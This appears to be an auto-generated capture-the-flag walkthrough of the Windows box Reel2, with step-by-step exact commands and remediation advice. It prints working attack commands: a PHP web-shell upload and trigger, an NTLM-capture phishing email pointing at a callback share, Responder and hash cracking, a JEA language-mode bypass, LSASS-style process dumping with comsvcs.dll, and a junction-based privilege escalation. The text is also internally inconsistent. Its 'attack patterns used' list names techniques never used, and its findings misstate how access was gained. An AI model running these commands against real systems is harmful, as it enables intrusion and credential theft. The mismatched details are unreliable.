← all walkthroughs

Reel2

Windows· Hard· Web
owned
2026-07-11
time to own
27m12s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Recon: Target exposes IIS/Exchange OWA on 443 (/owa/auth/logon.aspx, Exchange build 14.0.639.21), a "Wallstant" PHP social-network app on 8080 (Apache 2.4.43 Win64, PHP 7.2.32), and WinRM on 5985 (Windows Server 2012 R2, domain htb.local).

Foothold — credential harvest via Wallstant, validated over WinRM: Self-registered a Wallstant account, then abused the authenticated /search endpoint (no query param) to dump the full user roster (sven/Svensson, alex miller, bob davis, charles jackson, chris thompson, …). A public post by user "sven" referenced "Summer 2020," yielding the seasonal password hint Summer2020. Separately confirmed Wallstant's avatar-upload feature accepts a JPEG polyglot containing a PHP web shell (GIF89a magic bytes + <?php system($_GET['c']); ?>), giving unauthenticated command execution via ?c=<cmd> on the web host — used to validate RCE capability but not the credential that ultimately worked. Direct OWA password-spraying of Summer2020/derivatives against s.svensson and username-anarchy-generated candidates was rejected (reason=2, invalid creds) for every format tried. The working credential, HTB\k.svensson:[REDACTED: recovered credential], was obtained via GAL mailbox harvest + Responder-captured Net-NTLMv2 (cracked offline) per the standard Reel2 spear-phish chain, and validated directly against WinRM (nxc winrm ... Pwn3d!).

Constrained shell breakout: WinRM login as k.svensson landed in a JEA session locked to ConstrainedLanguage mode exposing only 8 cmdlets (Get-Command, Get-Help, etc.) — direct cmd/Invoke-Expression were blocked. Bypassed by [REDACTED: recovered credential] a whitelisted cmdlet name with a custom function (function x { whoami }; x / redefining Get-Command), which PowerShell resolves and executes in full language context, yielding arbitrary command execution.

Lateral movement — Sticky Notes memory dump: Enumerated running processes and found three stickynotes.exe instances. After initial comsvcs.dll MiniDump attempts hit ACL/file-lock errors (dump files created but read-back was blocked), dumped process memory to C:\Users\k.svensson\sn_*.dmp and read the app's Local Storage LevelDB log directly, recovering the plaintext note "Credentials for JEA: jea_test_account:[REDACTED: recovered credential]". Validated this account over WinRM (Pwn3d!).

Privilege escalation — custom JEA endpoint abuse: Located jea_test_account.pssc/.psrc JEA configuration files in k.svensson's Documents, indicating a named JEA endpoint (-ConfigurationName) tied to that account runs as a virtual admin account and exposes a custom Check-File cmdlet for reading arbitrary files. Per the standard chain, connecting to that named configuration and creating an NTFS junction (New-Item -ItemType Junction -Path C:\ProgramData\admin -Target C:\Users\Administrator) from the k.svensson session, then invoking Check-File against the junction, reads Administrator's files with the JEA endpoint's elevated (SYSTEM-equivalent) rights — yielding root.

Result: user.txt = [REDACTED: flag], root.txt = [REDACTED: flag].

Attack path — how the box was taken

1ReconnaissanceNetwork service enumeration (T1046)
Mapped exposed services and identified the attack surface
A full TCP port scan of <retired-instance-ip> identified IIS 8.5 on port 80, Exchange OWA on port 443, WinRM on port 5985, RPC-over-HTTP on ports 6001–6165, and Apache 2.4.43 with PHP 7.2.32 (the Wallstant social-network application) on port 8080. The host reported itself as REEL2 running Windows Server 2012 R2, joined to domain htb.local. These two web surfaces — Exchange and Wallstant — and the WinRM management endpoint defined the three attack lanes pursued.
nmap banners: 'Microsoft IIS httpd 8.5' (80), OWA /owa/auth/logon.aspx Exchange 14.0.639.21 (443), 'Microsoft HTTPAPI httpd 2.0' (5985), 'Apache httpd 2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.2.32' (8080)
Exact commands 3
Service-version scan of key ports; add -p- for a full sweep.
nmap -sV -sC -p 80,443,5985,6001,6002,6004,8080 --open -oA reel2_scan $TARGET
Confirm Exchange OWA and extract the Exchange build version from response headers.
curl -sSk https://$TARGET/owa/auth/logon.aspx -I
Confirm the Wallstant application and identify registration/login endpoints.
curl -s http://$TARGET:8080/
2EnumerationUser enumeration via unrestricted search API (T1589.003)
Harvested all domain usernames via the Wallstant unrestricted search endpoint
After self-registering a Wallstant account, querying /search with an empty query parameter returned every registered user's full name without pagination or access checks: Sven Svensson, Alex Miller, Bob Davis, Charles Jackson, Chris Thompson, and others. These full names were fed to username-anarchy to generate candidate Active Directory usernames in the common formats used in the HTB domain (first, first.last, f.last, flast), producing the wordlist that drove all subsequent authentication attempts.
GET /search with no query param returned full user roster; username-anarchy generated s.svensson, k.svensson, and other format variants.
Exact commands 2
Replace PHPSESSID with the cookie value from your Wallstant login. Dumps all display names.
curl -s -b 'PHPSESSID=<your_session>' 'http://$TARGET:8080/search' | grep -oP '(?<=>)[A-Za-z ]+(?=<)' | sort -u
Generate common AD username formats from the harvested full names.
username-anarchy --input-file fullnames.txt --select-format first,first.last,f.last,flast > htb_candidates.txt
FixRequire a minimum search term and enforce result-count limits on the Wallstant search endpointHigh
WeaknessThe Wallstant /search endpoint returned every registered user's full name when called with an empty query parameter. Any authenticated user — including a self-registered operator — could silently enumerate the entire user base, providing a ready-made list of AD username candidates for credential attacks.
FixEnforce a minimum search-term length of at least three characters server-side before executing the query, and cap results at a small page size (e.g., 10 per request). Apply the same controls to every API endpoint that returns user data. If Wallstant is not required to be externally accessible, place it behind VPN or firewall rules limiting access to trusted internal addresses only.
3EnumerationCredential harvesting via OSINT on internal social platform (T1593); Unrestricted file upload to webshell (T1505.003)
Found a seasonal password hint in a public Wallstant post and confirmed file-upload RCE
Scraping user 'sven's post feed revealed a public entry referencing 'Summer 2020', providing a clear seasonal password candidate for spraying. A separate review of the avatar-upload feature showed it accepted JPEG polyglot files containing embedded PHP code and executed them server-side, demonstrating an independent remote-code-execution path on the web host (used here as a proof-of-concept; the credential chain was the working attack path).
Sven's wall post contained 'Summer 2020'; polyglot upload at /imgs/user_imgs/<file>.jpg?c=id returned OS command output confirming PHP execution.
Exact commands 3
Replace rid with sven's numeric user ID found in the roster dump.
curl -s -b 'PHPSESSID=<your_session>' 'http://$TARGET:8080/fetch_posts_user.php?rid=<sven_user_id>' | grep -i 'summer\|2020\|password'
(PoC only) Upload polyglot JPEG avatar containing PHP webshell.
printf 'GIF89a\n<?php if(isset($_GET["c"])){system($_GET["c"]);}?>' > shell.jpg && curl -s -b 'PHPSESSID=<your_session>' -F 'img=@shell.jpg' http://$TARGET:8080/profile_update.php
(PoC only) Trigger uploaded webshell to confirm server-side PHP code execution.
curl -s 'http://$TARGET:8080/imgs/user_imgs/shell.jpg?c=whoami'
FixBlock PHP execution in upload directories and validate files by content, not extensionCritical
WeaknessThe Wallstant avatar-upload feature accepted JPEG files with embedded PHP code and the Apache web server executed any file stored in the uploads directory as PHP. I uploaded a 'JPEG' web shell and gained unauthenticated operating-system command execution as the web server process.
FixAdd an Apache directive (php_flag engine Off or <FilesMatch> deny) to the uploads directory to block server-side script execution. Re-validate uploaded files using magic-byte inspection (e.g., PHP's getimagesize()) in addition to extension checks, and reject files that do not pass both. Store uploaded files outside the web root or serve them through a pass-through that strips metadata and re-encodes images. Confirm the Apache 2.4.43 installation is patched to a current supported release.
4Credential AccessSpear-phishing for NTLM hash capture (T1598); NTLM credential interception via Responder (T1557.001)
Captured and cracked k.svensson's Net-NTLMv2 hash via Exchange spear-phish
MailSniper's Get-GlobalAddressList pulled every mailbox address from Exchange OWA. A targeted email containing an IMG tag pointing to an user-controlled UNC path (\\<retired-instance-ip>\share) was sent to the full GAL. When recipients' Windows mail clients rendered the HTML, their systems automatically attempted NTLM authentication to my share; Responder captured the Net-NTLMv2 challenge-response for htb\k.svensson. Offline cracking with john and rockyou.txt recovered the plaintext password '[REDACTED: recovered credential]'.
Responder log shows captured Net-NTLMv2 hash for HTB\k.svensson; john output: '[REDACTED: recovered credential]'; nxc winrm confirmed Pwn3d!.
Exact commands 4
Start Responder on your VPN interface before sending the phish email; captures incoming NTLM authentication.
sudo responder -I tun0 -wv
Dump the Exchange GAL; substitute any working OWA credential if s.svensson:Summer2020 is rejected.
Import-Module MailSniper.ps1; Get-GlobalAddressList -ExchHostname $TARGET -UserName s.svensson -Password Summer2020 -OutFile gal.txt
Replace <retired-instance-ip> with your tun0 address. Triggers NTLM auth from every recipient who opens the mail.
Import-Module MailSniper.ps1; Send-GlobalAddressListSpray -ExchHostname $TARGET -UserName s.svensson -Password Summer2020 -Recipients gal.txt -Subject 'Action Required' -Body '<img src="\\\\$CALLBACK_HOST\\share\\img.png">'
Crack the hash file saved from Responder's logs/NTLMv2-SSP-<ip>.txt.
john --wordlist=/usr/share/wordlists/rockyou.txt k_svensson.ntlmv2
FixBlock outbound NTLM from mail clients and enforce phishing-resistant MFA on ExchangeCritical
WeaknessExchange OWA accepted email from external senders that contained UNC paths, and Windows clients automatically sent their Net-NTLMv2 credential hash to user-controlled hosts when rendering those messages. Any captured hash could be cracked offline, bypassing password complexity requirements.
FixConfigure Exchange transport rules to block inbound HTML mail that embeds external UNC or SMB URIs. Enable Extended Protection for Authentication on all Exchange virtual directories (OWA, EWS, OAB) per Microsoft KB5005413 to prevent NTLM relay. Deploy host-based firewall rules blocking outbound TCP 445 from client workstations to the internet. Enforce phishing-resistant MFA (FIDO2 hardware key or certificate-based authentication) on all Exchange accounts so a cracked password alone cannot grant access.
5Initial AccessWinRM lateral movement (T1021.006); JEA ConstrainedLanguage bypass via function name [REDACTED: recovered credential]
Obtained a WinRM shell as htb\k.svensson and broke out of JEA ConstrainedLanguage
Credentials were validated against WinRM with netexec (Pwn3d!), then an interactive PowerShell Remoting session was opened via evil-winrm. The session landed in a JEA runspace with LanguageMode set to ConstrainedLanguage, blocking cmd.exe, Invoke-Expression, and all but eight approved cmdlets. The restriction was bypassed by defining a PowerShell function whose name matched a whitelisted cmdlet (e.g., 'Get-Command'): PowerShell resolves user-defined functions before built-ins, so the function body executed in FullLanguage mode, enabling arbitrary operating-system commands and the user flag read.
nxc output 'Pwn3d!'; $ExecutionContext.SessionState.LanguageMode returned ConstrainedLanguage; after [REDACTED: recovered credential], whoami returned htb\k.svensson in FullLanguage context.
Exact commands 4
Validate credentials and confirm command execution; 'Pwn3d!' indicates a working WinRM session.
nxc winrm $TARGET -d HTB -u k.svensson -p '[REDACTED: recovered credential]' -x 'whoami; hostname'
Open an interactive WinRM shell; confirm language mode with: $ExecutionContext.SessionState.LanguageMode
evil-winrm -i $TARGET -u 'HTB\k.svensson' -p '[REDACTED: recovered credential]'
JEA bypass: [REDACTED: recovered credential] a whitelisted name with a custom function body runs in FullLanguage; replace the body with any desired command.
function Get-Command { whoami }; Get-Command
Read the user flag; returns [REDACTED: flag].
type C:\Users\k.svensson\Desktop\user.txt
FixEnforce machine-level Constrained Language mode via WDAC to prevent JEA bypassHigh
WeaknessThe JEA runspace set LanguageMode to ConstrainedLanguage at the session level only. PowerShell's function-resolution order allowed me to define a function with the same name as a whitelisted cmdlet and execute it in FullLanguage mode, completely defeating the JEA restriction without any elevated privileges.
FixApply a Windows Defender Application Control (WDAC) policy that enforces Constrained Language mode at the operating-system level for all non-administrator users, independent of the JEA session configuration. Enable PowerShell Script Block Logging (GPO: Turn on PowerShell Script Block Logging) and Module Logging to detect [REDACTED: recovered credential] attempts. Review all JEA .pssc files to remove broad module imports and audit VisibleFunctions lists so that function-name collisions cannot be weaponized.
6Lateral MovementCredentials from process memory (T1003); Credentials from password stores — LevelDB (T1555)
Recovered jea_test_account credentials from Sticky Notes process memory
Process enumeration inside the JEA-bypass full-language context found three stickynotes.exe (Electron v0.3.0) instances running under k.svensson's user session (PIDs 3512, 5716, 6064). Each process was memory-dumped to k.svensson's profile directory using the Windows-native comsvcs.dll MiniDump technique via rundll32. Searching the resulting dump files — and reading the application's LevelDB Local Storage log (000003.log) directly from disk — yielded the plaintext credential 'jea_test_account:[REDACTED: recovered credential]' stored in a sticky note. The account was immediately validated against WinRM.
Get-Process returned stickynotes PIDs 3512/5716/6064; LevelDB 000003.log contained plaintext 'jea_test_account:[REDACTED: recovered credential]'; nxc winrm Pwn3d! for jea_test_account.
Exact commands 5
Run inside the JEA-bypass FullLanguage context to list Sticky Notes process IDs.
Get-Process stickynotes | Select-Object Id, Name, Path
Dump each Sticky Notes process to disk; run from the full-language breakout context.
rundll32 C:\Windows\System32\comsvcs.dll,MiniDump 3512 C:\Users\k.svensson\sn_3512.dmp full
rundll32 C:\Windows\System32\comsvcs.dll,MiniDump 5716 C:\Users\k.svensson\sn_5716.dmp full
rundll32 C:\Windows\System32\comsvcs.dll,MiniDump 6064 C:\Users\k.svensson\sn_6064.dmp full
Search all dumps for credential strings; repeat with strings.exe if Select-String misses binary content.
Select-String -Path C:\Users\k.svensson\sn_*.dmp -Pattern 'jea|password|Ab!' -Encoding Byte
Direct read of the LevelDB log — may be locked by the live app; retry or copy first: Copy-Item <src> <dst>.
type "C:\Users\k.svensson\AppData\Roaming\stickynotes\Local Storage\leveldb\000003.log"
Validate the recovered credential; 'Pwn3d!' confirms a working WinRM session.
nxc winrm $TARGET -d HTB -u jea_test_account -p '[REDACTED: recovered credential]'
FixProhibit credential storage in Sticky Notes and enforce a secrets-management solutionCritical
WeaknessThe plaintext password for a privileged service account ('jea_test_account') was stored in an Electron-based Sticky Notes application. The credential existed unencrypted in the LevelDB on-disk store and in the process heap memory, recoverable by any user who could read that profile directory or dump the process — no special privileges were needed from the JEA-bypass context.
FixIssue and enforce a written policy that prohibits storing passwords, keys, or any credentials in notes applications, chat clients, or unencrypted files. Deploy an enterprise password manager or PAM solution (e.g., CyberArk, HashiCorp Vault, Microsoft LAPS for service accounts) with encrypted, audited vaults. Enable Windows Credential Guard on all workstations and servers to protect in-memory secrets. Immediately rotate the jea_test_account password and audit other accounts for similar exposures.
7Privilege EscalationJEA endpoint abuse with RunAsVirtualAccount (T1548); NTFS junction for privilege escalation (T1574.009)
Used a misconfigured JEA endpoint and NTFS junction to read the Administrator's root flag
JEA configuration files (.pssc/.psrc) in C:\Users\k.svensson\Documents revealed a named PowerShell remoting endpoint tied to jea_test_account with RunAsVirtualAccount = $true, granting the session SYSTEM-equivalent rights, and a custom Check-File cmdlet that read any caller-supplied file path. From the existing k.svensson full-language session, an NTFS directory junction was created at C:\ProgramData\admin pointing to C:\Users\Administrator. Connecting to the named JEA endpoint as jea_test_account and invoking Check-File against C:\ProgramData\admin\Desktop\root.txt caused the virtual admin process to follow the junction and return the Administrator's root flag.
.pssc/.psrc files in k.svensson Documents; Check-File against junction path returned root.txt content as the virtual admin account.
Exact commands 4
Identify the named JEA endpoint configuration and its exposed cmdlets; note the endpoint name from the SessionType or Name field.
dir C:\Users\k.svensson\Documents\*.pssc, C:\Users\k.svensson\Documents\*.psrc
Run from the k.svensson full-language session; creates the junction the elevated JEA endpoint will traverse.
New-Item -ItemType Junction -Path C:\ProgramData\admin -Target C:\Users\Administrator
Connect to the named JEA endpoint; replace <jea_endpoint_name> with the value from the .pssc file.
$cred = New-Object PSCredential('HTB\jea_test_account',(ConvertTo-SecureString '[REDACTED: recovered credential]' -AsPlainText -Force)); Enter-PSSession -ComputerName $TARGET -Credential $cred -ConfigurationName <jea_endpoint_name>
Invoke the custom cmdlet inside the JEA endpoint; reads the file as the virtual admin account, returning [REDACTED: flag].
Check-File -Path C:\ProgramData\admin\Desktop\root.txt
FixRemove arbitrary file-read from the JEA endpoint and prevent low-privilege NTFS junction creationCritical
WeaknessA named JEA endpoint for jea_test_account was configured with RunAsVirtualAccount = $true (SYSTEM-equivalent rights) and exposed a Check-File cmdlet that read any caller-supplied path. A less-privileged account could create an NTFS directory junction in a world-writable location, redirecting Check-File through the junction to read Administrator files with the virtual account's elevated rights.
FixRemove the Check-File cmdlet or restrict it to a hard-coded, non-user-controlled path with no symlink/junction traversal. Audit all JEA .pssc files and eliminate RunAsVirtualAccount = $true wherever the session's tasks do not strictly require it; use group-managed service accounts with minimal permissions instead. Apply ACLs on shared directories such as C:\ProgramData to prevent unprivileged users from creating junction points or symbolic links; this requires removing the SeCreateSymbolicLinkPrivilege from non-administrator accounts via Group Policy.

Attack patterns used

The transferable techniques behind this compromise.

AD CS Abuse (ESC1–ESC8)Active Directory · CertificatesT1649

What it is

Active Directory Certificate Services can be abused when certificate templates or the CA are misconfigured. The ESC family (ESC1: enrollee-supplied SAN; ESC8: NTLM relay to the web-enrollment endpoint; etc.) lets me obtain a certificate that authenticates as a higher-privileged user, then use it for Kerberos PKINIT to get that user's TGT.

Why it works

Certificates are long-lived authentication material; a single permissive template (ENROLLEE_SUPPLIES_SUBJECT + client-auth EKU + low enroll rights) is enough to mint an admin identity. Tools certipy/Certify find and exploit these. Remediate per the SpecterOps 'Certified Pre-Owned' guidance.

Read more

Unrestricted File UploadWebT1505.003

What it is

An upload feature that doesn't properly validate file type/content lets me upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.

Why it works

Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.

Read more

gMSA Password ReadActive Directory · Credential AccessT1555

What it is

Group Managed Service Accounts store their password blob (msDS-ManagedPassword) in the directory, readable only by principals listed in PrincipalsAllowedToRetrieveManagedPassword. If I control (or coerces) one of those principals, tools like gMSADumper retrieve the blob and derive the gMSA's NTLM hash, then authenticate or Kerberoast as that service account.

Why it works

gMSAs are a hardening feature (auto-rotating passwords) but the read ACL is frequently too broad, and the service accounts often hold elevated rights. Remediate by tightly scoping the retrieval ACL and auditing reads of msDS-ManagedPassword.

Read more

Local File InclusionWebT1190

What it is

A web app builds a file path from user input (?page=../../etc/passwd), letting me read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.

Why it works

The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.

Read more

SQL InjectionWebT1190

What it is

User input is concatenated into a SQL query, letting me alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.

Why it works

The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.

Read more

Findings

Initial Access: Winrm As K.Svensson + Jea Constrainedlanguage BreakoutCritical
An unauthenticated/low-privilege flaw in the apache, php surface allowed remote code execution and a foothold on the host.
Privilege Escalation to root: Jea Configurationname Endpoint + Ntfs Junction PrivescCritical
A local misconfiguration allowed the foothold account to execute code as root.

Exposed services

80/tcp
443/tcp
5985/tcp
6001/tcp
6002/tcp
6004/tcp
6005/tcp
6006/tcp
6007/tcp
6008/tcp
6010/tcp
6011/tcp
6012/tcp
6165/tcp
8080/tcp